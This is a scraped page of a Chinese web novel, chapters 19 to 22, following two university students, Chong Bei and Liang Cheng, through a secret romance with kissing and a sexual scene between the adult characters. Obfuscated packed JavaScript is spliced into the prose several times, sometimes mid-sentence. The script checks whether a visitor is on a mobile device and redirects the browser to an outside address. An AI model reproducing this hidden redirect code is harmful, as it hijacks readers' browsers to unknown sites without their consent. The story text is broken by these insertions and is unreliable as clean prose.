穿着黑围裙的梁澄已经在吃饭了,他拿着筷子若无其事地挑眉问:“你怎么上厕所,还去洗了把脸?” 19. 第19章 冲北心脏猛然一震,还以为他发现了什么,做贼心虚地拉开椅子坐下,低头小声说:“没什么,我就洗个脸,要你多管闲事。” 梁澄夹菜的手顿在半空,觑了他一眼,便再也没说什么了。 平时两人吃饭虽然话不多,但也是说说笑笑的,而今天却一反常态食不言结束了这顿饭。 饭后,冲北破天荒主动提出刷碗。 俗话说事出反常必有妖,他百年一遇的举动让梁澄眼皮陡然跳了跳。 今天太阳打西边出来了,让这位平时不干活,吃了就躺的小少爷也眼里来活了。 家里只有一条围裙,就在梁澄身上带着,餐桌上没几个碗,两人换来换去他嫌麻烦。 刚想拒绝冲北,却发现对方直勾勾看着他,那双干净的狗狗眼,纯粹天真,掺不进一点儿其他杂质。 梁澄想了一下,他是一边干活一边收拾的类型,厨房的台面,锅具已经被他清洁干净,也就面前几个碗碟需要清洗。 清洁工作简单,小少爷做起来该是得心应手的。 于是,在冲北天真无邪的眼神压力下,梁澄起身,解开身上那条黑色围裙,递给他,“你会穿吗?要不要帮你系带子?” 他声线平淡,却让冲北倏地朝后退一步,警惕地看他一眼,而后迅速恢复正常。 冲北一把扯过围裙,像是埋怨他看不起自己,结结巴巴地说:“这有什么不会的,梁澄你少小看我。” 他的反应有些过度,横眉冷眼,像极了他刚来时,冲北不友好的态度。 这让梁澄觉得很不舒服,眨了眨眼,心中感到后怕。 最近相处愉快,他不想要重回紧张的关系。 梁澄看着他穿围裙,小心翼翼解释,“我没那个意思,你误会我了。” 冲北拎着围裙整理好,伸进双臂,低头说:“知道了,我也是随口一说。” 前面穿好了,刚准备反手打结,另一双略凉的掌心抚上了他的手背,梁澄不知道什么时候移到了冲北身后。 “我帮你,你背着手不好系。”梁澄说。 冲北像被烫了一般陡然缩回手,脸蛋微红,攥成拳,身体僵直地站在原地,他心脏拨动剧烈,仿佛能听见鼓动的频率。 微微垂头,露出白净的后脖颈,身后人温热的鼻息恰好飘洒在敏感的肌肤表面,他的心跳跃速度更猛烈了。 一两秒的时间,仿若过了三秋。 梁澄一声“好了”刹那间中止冲北糟乱的思绪,他心情紊乱,被身体支配着径直走向厨房。 梁澄刚想问他紧不紧?需不需要调松一点系带,那人却走得直截了当。 他怔在原地,看着杯盘狼藉的餐桌,叹了口气,而后非常贤惠地帮他收拾好碗筷,送进了厨房。 冲北呆愣地站在空无一物的水池前,还没回神,就听见后头传来的脚步,扭头一看,梁澄端着使用过的碗筷进来。 冲北耳朵顿时殷红,不知道说点什么来缓解明摆着非常尴尬的气氛,只得侧过身,让他把东西先放进空落落的水池。 瓷具与不锈钢盆发出轻微的碰撞声,冲北拿肩膀挤掉旁边的人,“一边去,我要洗碗了。” 他大力打开水龙头,汹涌的水柱瞬间喷射而出,冰凉的自来水打到盆底,溅起剧烈的水花,迸溅到他们的身上,墙壁上,台面上…… 冲北被溅了一脸水,神色慌乱地关掉水龙头,便听见了梁澄不怀好意的嘲笑声。 这一声笑让本就陷入惶恐的小少爷瞬间气急败坏了。 冲北拧着沾了白露的眉,怒视梁澄,“你笑屁,我……” 他白净的下巴上还滴着透明的水珠,略显狼狈,似乎恼羞成怒又小发雷霆一下,反正一点儿都不吓唬人。 冲北试图解释自己的毫无常识行为的合理性,却又实在想不出半点儿看似合理的理由佐证自己的无知。 最后憋着一口气,瞪着圆鼓鼓的狗狗眼,怒目而视。 梁澄看来,面前这个男孩儿一点儿都不凶,甚至装凶都十分可爱。 他发自肺腑,酣畅地笑了,而后抬高手臂,用干净的手肘轻轻拍了拍冲北的头顶,像大人逗小朋友那样,“你也太可爱了。” “可爱”这种形容小孩儿的词语用在一个成年男人身上,甚至还是从另一个成年男人嘴里说出来的,这样的形容说不出的吊诡,甚至令冲北感到非常不悦。 他瞪着梁澄,可梁澄依旧无所谓地笑,笑得两眼弯弯,胸膛上下起伏,湿透了的白色上衣下壁垒分明的肌肉线条一览无余。 看见他不知死活的笑,那股无名火顺着喉咙朝上,冲北觉得自己要被气死了。 狭窄的空间里,他猛地扑过去,上半身把梁澄压制在墙上,恶狠狠地咬上他干燥的唇。 刹那间,一股血腥味在二人口腔蔓延,冲北红了眼撕咬,梁澄愣了一秒后,选择被动承受,弓起后背的姿势让两人的唇贴得更加紧密、贴合。 暧昧的吮吸声在安静狭小的空间响起,湿润布料紧贴的胸腔相互磨擦,那个吻,骤然变了味儿。 等冲北回味过来时,他被梁澄搂着腰,亲昵搂在胸口亲。 冲北半眯着眼,看见梁澄浓密睫毛下淡淡的阴影,和痴醉的神情,然后,他混乱地推开了梁澄。 一步错,步步错。 * 那日的“意外”过后,两人关系悄然改变。 冲北在做好自己的心理建设后,表面坦然接受梁澄。 梁澄则比以前更贴心了,全方位无死角照顾着冲北,无论是起居,或是情绪,甚至体.位。 他全都愿意让步。 在梁澄面前,冲北的情绪随着时间增长而越发不稳定,常常因为一件芝麻绿豆大的小事儿故意为难梁澄,梁澄好脾气,退让已然变成习惯。 除了一件事,梁澄也有自己的底线。 冲北一直在意自己比梁澄矮的两三厘米,一有空便去打篮球,想要在发育期最后几年蹭个几厘米,超过梁澄。并且只准梁澄在场边看,不准他上场打。 因此,每次打球,梁澄都是他忠实的场下观众。 对外,两人是比亲兄弟还亲的朋友,而实际什么情况,只有他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他难为情地咬着唇,唇角泛白,齿尖接触的位置却红得秾丽。 冲北舌尖抵着上颚,正在思考如何礼貌拒绝时,梁澄率先替他出声,“他不加陌生人的联系方式。” 恃靓行凶无往不利的方怀顿时傻眼。 梁澄声线冰冷,还冷着一张帅脸很凶地瞪他,像护食的母狮子。 方怀又委屈地看向没有拒绝他的本人,冲北沉默抿着唇,甚至躲开了他满怀期盼的灼热视线,看样子完全同意梁澄的说法。 方怀彻底没戏了,他苦丧着一张美丽脸蛋,仿佛受了泼天的委屈。 这时,冲北同理心作祟,别别扭扭地说:“那要不然加个联系方式吧,都是同学。” 话刚落地,身旁肩并肩的人用力推开他挡路的身体,拔腿便往运动场门口走。 大步流星,行进间温煦的风荡起白色的外衫,抚平后背的褶皱,却磨不平他澎湃的内心。 20. 第20章 冲北被撞得险些一个趔趄,还是方怀眼疾手快拽住他。 方怀兴高采烈正准备掏出手机时,没想到答应了给他联系方式的人一溜烟也跑了——冲北追着梁澄消失在嘈杂的篮球场。 他喊着梁澄名字,好不容易追上他,气喘吁吁捞起那人空中上下摇摆的手臂。 “哎,你慢点儿,我差点追不上了。”冲北急吼吼地埋怨。 梁澄没停下,冷着脸继续往前走,只是迈步子的速度明显缓慢,手臂被冲北抓住,牢牢抱在怀里,在外人看来十分亲昵的姿势。 两人一起离开运动场,走在校园的主干道上,秋天的梧桐叶落下,灿黄的树叶打着旋儿落在行人肩头,旋即飘落在灰色水泥地面,聚成堆。 刚结束完剧烈的运动,又心惊胆颤追着梁澄跑了半场,冲北这时才缓了气息,他睨着梁澄冷冽的侧颜,对于刚才这件突发事件造成的后果,心里产生一种复杂的情绪。 他不想梁澄生气,但却讨厌哄别人,特别是这个抢占了他资源的便宜“哥哥”。 冲北自认为没有讨好他的义务,并且他刚才似乎也没做错任何事。 他们是什么关系?无非就是不小心亲过嘴,被迫同居的同班同学关系,连朋友都称不上,他怎么可能放下脸去和一个他看不上的人道歉? 于是,两人就这样“纠缠”拉扯地走路,一起回了出租屋。 冲北在玄关终于放开了拉了一路的手臂,若无其事回自己房间,关门前还跟平时一样,交代梁澄赶紧做饭,他饿了。 梁澄这会儿却没像平时一样一口答应他,他沉默地站在客厅盯着一气呵成关门,余光都没施舍他的冲北。 嘴唇绷得笔直,稠黑的眼眸里淬着岩浆色的火焰,双手紧握贴在裤缝,修剪平滑的指尖插入手心嫩肉,有一丝丝疼痛,但比起心里的酸痛,相形见绌。 冲北拿好换洗衣服,准备去冲个澡,他一把拧开卧室门,看到便是还在沙发边直挺挺站立的梁澄。 两人视线交汇,冲北眼皮猛然跳了一下,心里感到有些慌乱。 经过卫生间不需要绕行梁澄,冲北只看了他一眼,就快步朝原方向走。 关闭卫生间门的那一刻,紧绷的心脏突然松了下来,蒙着薄汗的后背贴在冰冷的玻璃门上,室内暖黄的灯光照射下,门上印出一整个高大的黑影。 他不知道,梁澄在外一直注视他。 须臾,冲北慢慢往里走,放好干净的衣服,又打开淋浴器,才脱下身上汗臭的运动服扔进脏衣篮。 白气从淋浴间往外窜,滴滴答答的水珠布满透明的玻璃隔断,他闭眼站在淋浴头下,凶猛的水流如柱般击打在头顶,顺着额头、鬓角往下滑,最终汇成脚下的溪流。 流水掺杂着白色泡沫,冲洗干净后,水声停了,雾气笼罩在玻璃浴房,蒙了一层白纱,隔开内外。 冲北全身水汽,眼神被蒸得微微发红,他赤裸着,单手推开玻璃门,另一只手从下巴拂到发顶,揩去脸上的水珠。 伴随被推开淋浴门的蒸汽弥散,从湿区一直到干区,一眨眼,梁澄竟出现在卫生间里。 他衣衫齐整令赤身裸体冲北不自在极了,脸上露出惊恐的表情,手忙脚乱捂上捂下,最后发现怎么都是徒劳无功。 “梁澄你有病吧,老子在洗澡,你进来干嘛!”冲北的口气很冲,那双红了眼圈的狗狗眼此时显得尖酸又刻薄。 他横了眼平静目视他像个小哑巴的梁澄,愤怒地绕过他拿起置物架上的浴巾裹好下半身。 穿好了衣服的人,总是没有先前那般被动。 冲北吸了口气,转过身,站在他面前,什么也没说,只是用尽全力把他往门外推。 成年男性的力气很大,梁澄直挺挺站着没有动作,只能被迫趔趄着后退,坚硬的后背最终抵在潮湿的白色磨砂门上。 冲北伸长手臂去拧门把手,这时,木头一样的梁澄终于动了,他反手扣住他的肩膀,两人位置瞬间倒置,冲北被一把掼到玻璃门上。 湿热的后背被冰冷的玻璃冻得打了个寒颤,冲北拧着眉,刚想发火,嘴唇翕动,却被人陡然凑上来亲吻,那双干涩的唇堵住了骂骂咧咧的脏话。 湿润的空气里,连呼吸都稠了几分。两人浓烈的鼻息相抵,唇舌混乱纠缠,都淬着怒火。 冲北用力咬了他一口,霎时间口腔血腥味迸溅,那人却连闷哼都没有,仍旧缱绻吻着他。 冲北双手抵着他坚硬的胸膛使了吃奶的劲儿往后推,梁澄却把他搂得更紧,生怕失去他。 他们要焦不离孟,密不透风,完全嵌合成一体,他才会放心。 他对冲北执拗的病态,已经深入骨髓。 卫生间里湿雾被排风机慢慢抽干,两人皮肤却沾染得更加火热。 终于,剧烈的颤抖之下,梁澄放开了他。 冲北烧红着眼,径直给了他一猛拳,下手很重,打得梁澄瞬时偏了头,下一秒,白皙的脸颊上显出鲜红的拳印。 “你特么有病吧梁澄,乱发什么情!”冲北瞪着他,颤抖着指尖嫌弃地刮掉嘴角透明涎水。 他明摆着厌恶的神色,令梁澄心里难过得要命。 嘴角破了个口子,又被对着脸打了一拳,稚嫩的少年人说不生气那是假的。他失望了极了,不仅对冲北失望,更是对窝囊的自己失望。 唇瓣翕动,那两个字都逼到了嘴边,最后一刻迟疑了,说了两人便再没回头路。 他在冲北心里算什么?连自己都没几分把握。甚至可能都比不上刚认识的方怀。 毕竟连两瓶饮料之中,他拿的那瓶都被冲北厌弃,更别说他这个人。 脑中左右搏击,最后,梁澄委屈地凝着冲北,语气真挚地道歉,“小冲……对不起。” 仅仅五个字,他说得十分费劲儿,还很慢,像是被谁逼迫的,这让冲北觉得他的对不起既不情愿,又显得廉价。 冲北不喜欢强人所难,反手拧开后背的门,盯着他的眼睛说:“滚出去。” 梁澄深深地看了他一眼,听话地走了出去,还顺手悄无声息地关上了门,跟他来时一样掩人耳目。 卫生间里的热气已然散尽,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁澄嘴角悄悄上翘,胆子也大起来,默默侧躺下来,后脑勺放在他手里的抱枕上,半眯着眼,从下往上观察他。 他的观察没过多久便被打断,冲北不动声色伸手蒙住他的双眼。 他手心温热,绵软,盖在眼皮上,像蒙了一层柔软的棉花。 遮盖住他灼目的视线,把他变成了一个自得其乐的睁眼瞎。 “闭眼。”冲北声音冷淡。 梁澄立马闭上双眼。 浓密的睫毛在敏感的掌心蜷动,挠得冲北心尖发痒,他的心思从梁澄坐下来那一刻就不在游戏直播上了,只是心性倔强,拒绝认输。 而现在,既然有人给了一个大大的台阶下,他却之不恭了。 冲北一边看直播,一边玩着被蒙眼人的头发,黑亮的发丝光润,发质很好,摸在手里滑溜溜的。 玩了一会儿,不过瘾似的,指腹移到他高挺的鼻梁,故意捏紧正常呼气的鼻翼,逼得梁澄被迫用口呼吸…… 21. 第21章 但玩弄人也有被玩弄的一刻,他的手心一阵酥麻,是热情的舌尖同它打招呼。舌苔带着粗糙的质感,舔得手心发痒。 冲北猛然松开手,两指夹住乱窜点火的潮热舌尖,然后用力拉扯,梁澄痛得叫了一声,玩过火了。 他赶忙松开双手,垂下头,担心地问:“怎么了?没事吧?” “没事。”梁澄摇头,被投影光照得灿亮的眼眸里倒映着冲北担心的脸。 冲北拍了拍他脑袋,手心的津液也“不小心”蹭到了墨黑的头发丝上,闪动着暧昧的光泽。 梁澄皱起眉,不高兴地问:“你嫌弃我的口水?”于是,冲北又用力蹭了一下,把手心的“脏东西”清理得一干二净。 梁澄撇嘴,提高手臂,捉住他的手腕儿,递到唇边讨好地亲了一口,像一只不小心清理毛发,却舔得主人不高兴,唯恐被主人遗弃的猫咪。 梁澄的姿态放得很低,让冲北产生了一种莫名的优越感。 两个势均力敌的同性之间,像只能选出一只头狼的群体,都想把对方压下去。但当其中一方主动示弱,则会生出一种凌驾之上的餍足感。 冲北的心尖被舔得软趴趴的,他凑近梁澄的唇,温情地亲了一口,一触即离,快得梁澄眨了眨眼便结束了,只留下一丝很寡淡的甜。 不够。 梁澄伸手搂着他的脖子往下拽,冲北也迎着他的唇,这一次,两人终于接了一个绵长的吻。 气息混乱,冲北耳朵绯红,他看着梁澄那双潋滟的凤眼迷离,好像动了真情。 许是因为得到了一个甜美的吻,梁澄此时有些恃宠而骄,用命令的口吻对冲北说:“你私下不准和他联系。” 冲北捻着他湿润的发丝把玩,挑了挑眉,明知故问:“你说的是谁?” 梁澄心里憋着火,却隐隐感觉冲北把这件事翻篇了,要是他再纠缠,就有些不识好歹了。 他摇摇头,用冲北听不见的声音说了两个字。 冲北点头,看着前方,很随便地说:“好的,我知道了,不会和方怀联系的。我又不喜欢男的。” “咔嚓” 梁澄仿佛听见了自己骨头碎裂的声音,痛。 他脸色顿时惨白,一眼不眨盯着冲北,投影屏幕上正值攻破水晶的最后一刻,冲北双眼完全黏在了上头,激烈的解说声伴随胜利的呐喊声从音响传出,响彻整个空间。 冲北支持的队伍胜利了,他兴奋地低下头,激动摇晃梁澄的肩膀,“yes,终于赢了,这是他们第一个世界冠军。” 梁澄木着脸,显然没被他热烈的情绪感染到,这令冲北感到些许不同频的遗憾和不快,但他认为问题不大。 冲北已经完全忘记刚才他讲了什么,梁澄情绪复杂地想。 或许那只是他的无心之举,或许那是他无意泄露的真情实感。 见梁澄拧眉盯着自己不作声,冲北伸手抚平他皱起的眉头,问:“你怎么了?” 梁澄抓住他手腕儿,放到唇边亲了一下,“没什么,突然想起明天就是周五,周末还要回去。” 冲北笑了一下,“回去多好呀,有佣人做饭,你不用做饭,不用洗碗,多方便。” 梁澄摇头。 这个出租屋是两人的安全屋,在这里他可以随时见到冲北,能完全拥有冲北这个人,而回到冲宅,两人在家里见个面都要偷偷的。 “怎么了?”冲北弹了弹他光洁的脑门。 梁澄视线移向他,认真地说:“没事,我反正愿意给你做饭,我不嫌累,也不嫌麻烦。” 他的神色过分真挚、灼热,羞愧得冲北不得不移开视线,看向屏幕上的颁奖仪式。 他们捧起奖杯,热烈的庆祝。 屏幕上热热闹闹,而看的人却心思凝重。 冲北对梁澄只是玩弄,可当对方似乎动了真心,他感到害怕,害怕无法回馈,害怕会戳痛他的真心。 可他原本目的不就是伤害梁澄,把他赶出冲家吗?他的计划即将达成,怎么却胆怯了。 手指头无意识卷着他柔顺的头发丝,一圈又一圈,一直贴到头皮。 “啊,我的头发。”梁澄发出一声惨叫,按住了他作弄的指尖。 冲北被吓得了一个哆嗦,看着自己手心断掉的短发,紧张又心疼地问:“痛不痛?我刚才想事情去了,对不起没看见。” 梁澄摸了摸火辣辣的头皮,摇头口是心非,“还好,不痛。”顿了顿,又好奇地问,“你刚才在想什么?” 冲北珍视地摩挲他的手背,笑着开玩笑,“在想周末回家,又要听老头子啰嗦了。” 梁澄也跟着笑了一声,只是笑声有些尴尬。 冲北显然敷衍的回复令他惴惴不安。 * 周末,两人被司机接回冲家,司机是冲家工作多年的老人,两人规规矩矩坐在后车厢。 到家了,冲北习惯性使唤梁澄帮他拿书包,发现后视镜司机打量的目光,立马想起这不是在学校,又改口说他肩膀打篮球扭伤了,麻烦梁澄帮忙。 中年司机眼珠转了一下,主动说:“少爷,我帮你拿。” 冲北朝他点头,“好的,谢谢叔。” “不客气,应该的。”司机回道。 梁澄背着自己的书包和冲北走在前面,司机跟在后面,两人的肩并肩贴得很近,仿佛是真的亲兄弟,给人一种排他的亲密感。 司机为冲家工作多年,这段时间一直负责两位少爷的接送,并兼任向老板报告他们相处最新情况的间谍工作。 他清楚冲北极其自我的性格,被捧在手心受不得半点儿委屈的小少爷,而梁澄也不是任人欺负的少年,可不知不觉中,两人关系竟变得如此亲昵。 突然想起在车内冲北让梁澄帮他拿书包时稀松平常的语气,和梁澄没有任何犹豫随即伸出的手指。 这个年纪的少年正是不服管教的时候,两人先前关系如此恶劣,竟然会因为两个多月的大学相处而骤变。 他若有所思地眨了眨眼,露出眼尾深深的鱼尾纹,是有些奇怪,但不知道该不该报告给老板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275770|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲北的房间在二楼,梁澄住在一楼,两人在楼梯口分别,梁澄进入房间,冲北在原地等他,扭头说:“谢谢叔,书包给我吧。” “不客气。”司机一边小心翼翼打量冲北,一边把手里的包递给他。 冲北接过书包,很随意把包往肩膀上一扔,一点儿看不出肩膀扭伤了。 没心没肺上了楼,余光朝楼下一瞥,发现司机站在原地竟然没动,他看了一眼,便推开房间进去了。 “嘀嘀”两声,手机上传来梁澄的信息,“待会儿下来吗?还是我上去?” 冲北放下书包,捏着手机坐在床尾回复,“都不要。待会儿爸爸就要回家了,我想一个人待会儿。” 两三秒后,那边回复,“……” 冲北笑着打字,“怎么了?” 梁澄又是,“……” 冲北问:“不开心啦?” 这一次梁澄那边回得不算快,聊天框顶一直显示输入中,冲北等着不耐烦,伸了个懒腰仰躺在柔软的床面。 大学城离冲家有四十多公里,即使布置舒服的高级轿车,坐久了也腰酸背痛,何况他昨晚还失眠了,现在觉得浑身都不爽利。 半眯着眼盯着白花花的天花板,不知不觉竟完全闭上双眼,睡着了。 不知道过了好久,冲北感到有人压着自己亲,熟悉的感觉让他不慌不忙睁开眼,如鱼得水地回吻。 一个人的偷吻,变成两个人的拥吻。安静的室内响起浓烈的喘息声,和津液交换的水声,冲北勾着他滚热的后颈,指尖缓慢上移去揉捻顺滑的黑发,恶趣味地把柔顺的发丝搞得一团槽。 梁澄也不计较他的玩闹,依旧火热地亲吻着,他双腿跪坐在冲北身体两侧,隆起的位置彼此磨蹭抚慰,反应越来越剧烈。 冲北感觉自己热得快要烧起来,初秋季节只穿了一件加绒卫衣,而现在绒面的内里全被汗水浸湿了。 他呼吸猛烈,甚至带着奇奇怪怪的声音,梁澄热热的手伸进去,他感觉那股燥热似乎越来越强烈,而后在火山喷发的最顶端时刻,眼前一片白光,全身剧烈颤抖。 冲北粗重地喘了几声,梁澄亮着眼睛夸他声音很好听。 冲北伸手软趴趴地打了他一耳光,很轻柔,像清风抚柳,一丝痕迹都没有残留。那只手还留在原处,冲北感觉湿哒哒的不舒爽,攥着他的手肘让他拿出去。 梁澄用眼神示意自己,冲北侧过脸,当没看见。梁澄用力顶了一下他,冲北依旧装死。 既不哄人,也不动,像海滩上搁浅的鲸。 于是,梁澄动了动手,冲北猛地尖叫一声,红着耳朵看他,扣住他的肩头,翻了身,两人位置倒置。 冲北把他压在身下,像条死掉的咸鱼,也不动,直挺挺压着他,下巴搁在他肩头,闭上了双眼。 他在耍赖。 梁澄露出无奈的笑容,亲了亲他被压平的发顶,而后窗外忽然响起汽车的发动机声音。 冲北紧张地跳起来,对他说:“赶紧下去,我爸回来了。” 22.第22章 梁澄反倒不慌不忙翻身仰躺在床上,掀起那双薄薄的眼皮瞧着冲北挑衅,“怕什么,大不了就被发现。” 语气波澜不惊,手心却湿哒哒的,指缝间有浅色津液流出,滴在灰蓝色的床单上,洇湿了一小块。 冲北看见,都忘记去纠正他的话,连忙冲过去扯了床头柜上的湿纸巾擦,还顺手塞了一张到他手心,一边擦一边骂,“傻逼,你有病吧!自己弄好赶紧滚下去。” 蓝色被套颜色很淡,痕迹不深,但湿巾的水浸进去后,反而越擦越明显,变成深灰色的一块污渍。 冲北生气地把用过的湿巾对着梁澄脸上一扔,“你特么干的好事。” 白色的湿纸团沿着他的脸最后掉在了床下,梁澄歪着嘴角笑了一下,倚靠强健的腰腹力量,一个鲤鱼打挺,从床上矫健地跳起来。 他站在床边,听见开了一条窄缝的窗外传来汽车熄火的声音,还有微弱的交谈声,应该是冲霄同谁在吩咐什么事儿,或是问他俩回家没有。 冲北攥着拳站在床尾,看着右侧窗边发愣的梁澄,真是气不打一出来,他快步走过去,拽起他的衣领就往门口方向拉。 快到门口时,梁澄拉着他的手腕不动,用下巴指着旁边的卫生门,“我去卫生间洗个手,”见他皱眉不允许的样子,补充,“我很快。” 冲北随即拧开卫生间,押送他到水龙头前,在一旁催促,“动作快点儿,别磨磨叽叽的。” 见他纹丝不动站在洗手台盆前,又生气地一把打开水龙头。 汹涌的水柱顷刻间向四周飞溅,水花倾洒在两人的上衣、裤子上和脸上。 冲北顾不得去擦溅进眼里的水珠,手忙脚乱调小水流,而后立即攥着旁边人的手就往龙头底下冲。 梁澄被他慌手慌脚的模样逗笑,顺他的意快速洗了手,又轻轻甩了甩手上的水滴。 看他配合,冲北松了口气,继续扯着变形的领口将他往外送。 梁澄后背贴在冷冰冰的卧室门上,拽起他湿润的毛衣给他出难题,“你把我的衣服弄湿了怎么办?” 他的毛衣和裤子都是纯黑色,不凑近根本看不出什么,冲北无语地一把拉开门,不客气轰他出去,“我管你怎么办,自己找理由解释。” “砰”一声,门关了。 梁澄这下终于变得正经起来,敛了刻意作弄的神色,低着头急匆匆往楼下跑,可正好撞上了正往楼上走的冲霄。 “小澄,你跑什么,小心点儿。”他有些担心地喊了一声。 梁澄忙地抬头,停下脚步,打招呼,“冲叔叔今天回得好早。” 两人走近,冲霄看见他歪歪扭扭的领口和上衣黑色绒毛上挂着的透明水珠,皱着眉问:“怎么了?冲北又欺负你了?你身上怎么还有水?” 他一边说,一边凑近,关心地去摸颜色更深有水的位置,指肚潮湿,像被人故意在身上泼了水。 人又是从楼上下来的,冲霄更是确认了他心中想法。 这浑小子!刚好了没两天,又开始犯病。这么大的人了,今天他必须得教训教训。 “不是,我刚才和他讨论明天去哪里玩,洗手的时候没注意,水龙头的水溅到身上了。”见他不相信,梁澄补充,“冲北当时也在旁边,他也被溅了一身水,不信你上楼看他身上是不是也湿了。” 冲霄顿时笑了,乐呵呵地拍了拍他肩膀,“看到你们俩这样好我就放心了。冲北被我养得太骄纵,多亏你平时对他忍让。但你也不要太让着他,他成年了,总要学会长大。” 梁澄笑着点头。心里真实想法与之背道而驰,他希望冲北永远不要长大,就这样任性地活下去。 因为……长大的代价太沉重了。 * 背着家长偷偷谈恋爱的感觉新鲜又刺激,梁澄又是个完全听他话的软骨头,冲北简直乐不思蜀到忘记原本目的。 大一学期寒假,这是两人在一起的第一个春节,但梁澄却不在京州过,他要飞去J国陪爷爷梁安国。 其实梁澄同梁安国的接触并不多,他从小跟着父母生活,而父母同爷爷那边几乎断绝往来。 将近二十年,他记忆中也只见过几面。最近的一次是父母去世,而上一次几时?早已模糊不清。 梁澄蹲在出租屋的沙发边朝冲北解释他抛下他飞去不可的原因,冲北面色凝重,看上去很不理解这种畸形的亲人关系。 “那你爸爸妈妈为什么不和你爷爷来往,他们不是亲人吗?”冲北疑惑地问。 梁澄抓着他的双手放在温热的脸颊上,“因为我爷爷不同意我爸和我妈结婚,所以一气之下他们断绝了父子关系。” 冲北惊诧地“啊”了一声,随即又觉得自己表现得过于大惊小怪,会让梁澄感到不舒服,毕竟这是他的家事。 冲北淡淡问:“为什么呀?” 梁澄解释,“大概就是嫌弃我妈家里条件不好?”他也不清楚,猜的。毕竟父母常年驻外,工作繁忙,极少说起这些糟心事。 冲北眨了眨眼,开始脑补出一段被封建大家长干预,最后打破束缚的虐恋情深,感叹着,“啧啧啧。” 梁澄笑着问:“怎么了?你在想什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284779|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲北摇头,把脑子里那些狗血小说桥段扔出去,“没什么,瞎脑补。” 梁澄无奈地侧过脸,柔情地亲了亲他被捂得温暖的手心。 两人的行李已经收好,待会司机就要过来,接梁澄去机场。 看着沙发旁边两只一模一样的行李箱,梁澄遗憾地说:“我待会儿就走了,你会想我吗?” 冲北笑着点头,“不会。” 语气笃定,表情正经,让梁澄感到失落,他亲昵地说:“但我会想你的。”又侧过脸温情地亲了一口潮热的手心。 冲北神情顿时软下来,似乎被即将到来的离别情绪感染,他心底骤然生出一丁点儿舍不得,太荒诞了。 他的计划即将收网,梁澄已经彻底迷恋上他,此时却开始上头,他理应把这理解为吊桥效应,他不应该忘记自己的本来目的——把面前这个人赶出冲家。 两下敲门声陡然响起,将冲北从两难情绪中抽离出去,他猛地起身,扭头往门口看,“应该是司机来了,我们走吧。” 梁澄轻轻攥着他的衣角摆动,仰头撒娇道:“我腿麻了,你拉我起来。” 冲北居高临下,看见他浓密睫毛下璀璨如明珠的眼眸,那样灿亮、昳丽,好像嵌满了宝石的盒子里盛放的连城之璧,耀眼得无法拒绝。 于是,冲北心甘情愿弓身拉他起来,不是平常那般无情无视绕过离开。 梁澄眨了一下眼,不敢相信地搂住他的腰说:“这是给我的新年礼物吗?” 冲北愣了一下,怀疑自己平时是不是对他太坏,以至于连一个“拽起”的动作都能被定义为礼物。 冲北沉默地指了指地上的行李箱,大摇大摆走向门口。 梁澄是傍晚的飞机,司机先送他去机场,然后再送冲北回家。 到了机场,有司机看着,梁澄不能表现出不舍,进入安检区后,他忍住一次次回头的欲望,直到进入完全看不到外面的隔间内,侥幸地往后望了一眼,果真什么都看不见,终于死心。 梁澄高俊的背影消失在来来往往的人流里,冲北也转身离去。 重新回到一个人的后车厢,明明这才是最舒服、没有人打扰的空间,他却莫名感到一股无由的空虚。 回到家,一个人孤单地吃完无聊的晚饭,看见手机上梁澄一小时前发来的登机消息,按灭屏幕,懒得回复。 回家的第一天,心里空落落的,打开行李箱准备拿出游戏机玩,盖子被掀起来的那一刻,冲北脸色突变,这不是他的箱子。 他的箱子跟梁澄去了J国,那他怎么办?